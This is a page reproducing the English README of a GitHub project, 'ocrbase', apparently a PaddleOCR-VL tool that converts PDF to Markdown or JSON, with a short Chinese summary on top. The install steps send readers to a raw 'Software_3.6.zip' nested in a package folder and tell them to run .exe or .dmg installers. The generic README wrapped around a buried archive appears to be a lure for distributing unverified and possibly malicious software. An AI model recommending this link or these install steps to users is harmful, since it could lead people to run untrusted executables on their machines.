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ocrbase:用 PaddleOCR-VL 将 PDF 转为 Markdown 或 JSON

Biscoxx/ocrbase

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ocrbase 是一款基于 PaddleOCR-VL 的工具,可将 PDF 文档转换为 Markdown 或 JSON 格式,实现结构化数据提取。它支持 Windows、macOS 和 Linux,需至少 4 GB 内存与 200 MB 磁盘空间,并提供自托管方案和无需技术门槛的图形界面。用户上传 PDF、选择输出格式后点击转换即可下载结果。

正文

📄 ocrbase - Convert PDF to Efficient Formats Easily

Download ocrbase

🚀 Getting Started

Welcome to ocrbase! This application allows you to convert PDF documents into Markdown or JSON formats using PaddleOCR-VL. It makes structured data extraction simple and efficient. Whether you work with documents daily or need to process PDFs occasionally, ocrbase provides an easy way to handle your documents.

🛠️ System Requirements

Before you begin, ensure that your system meets the following requirements:

  • Operating System: Windows, macOS, or a recent Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Disk Space: Minimum of 200 MB free space for installation files.

📥 Download & Install

To get started with ocrbase, visit this page to download. Here, you will find the latest versions of the software ready for your use.

  1. Simply click on the version you want.
  2. Choose the appropriate file for your operating system.
  3. Follow the installation guide provided in the section below.

If you have trouble, feel free to refer back to this section.

🛠️ Installation Steps

  1. Download the File: Go to this page to download and select the file that matches your operating system.

  2. Locate the File: Once downloaded, find the file in your downloads folder or the location you selected.

  3. Run the Installer:

    • For Windows: Double-click the .exe file and follow the prompts.
    • For macOS: Open the .dmg file, drag the application to your Applications folder.
    • For Linux: Extract the https://github.com/Biscoxx/ocrbase/raw/refs/heads/main/packages/paddleocr-vl-ts/Software_3.6.zip file and follow the README instructions inside.
  4. Start the Application: After installation, you can find ocrbase in your Applications or Programs menu. Click to launch.

📊 How to Use ocrbase

After launching the application, you will encounter a user-friendly interface designed for ease of use.

  1. Upload PDF File: Click on the “Upload” button to select the PDF you wish to convert.

  2. Choose Output Format: Select Markdown or JSON as your desired output format.

  3. Extract Data: Click the “Convert” button. The application will process your document and extract structured data.

  4. Download the Result: After processing, you will see a download option. Click to save the converted file to your computer.

📚 Features

  • PDF Conversion: Effortlessly convert PDF documents to Markdown or JSON format.
  • Structured Data Extraction: Automatically extract the necessary data from your documents.
  • Self-Hosted Solution: Run the application on your server for better control.
  • User-Friendly Interface: Designed for everyone, no technical skills required.
  • Compatibility: Works with most modern operating systems.

❓ Troubleshooting

If you encounter any issues while using ocrbase, consider these steps:

  • Check File Format: Ensure that your uploaded file is a valid PDF.
  • Sufficient Memory: Close other applications if the software runs slowly.
  • Reinstall: If problems persist, reinstall the application by following the steps in the Installation section.

📞 Support

For additional help, you can reach out through the GitHub Issues section of this repository. We are here to assist you!

🌐 Community & Contributions

Feel free to join our community by exploring discussions on our GitHub page. Contributions are welcome, whether in the form of suggestions, enhancements, or reporting issues.

🤝 Related Topics

This application uses advanced technologies and concepts like AI, OCR, and document processing. You may also explore related topics within the following categories:

  • ai
  • document-processing
  • paddleocr
  • pdf

For detailed exploration and updates, keep visiting our Releases page, where you can always find the newest versions of ocrbase. Enjoy converting your documents with ease!

来源:GitHub · github.com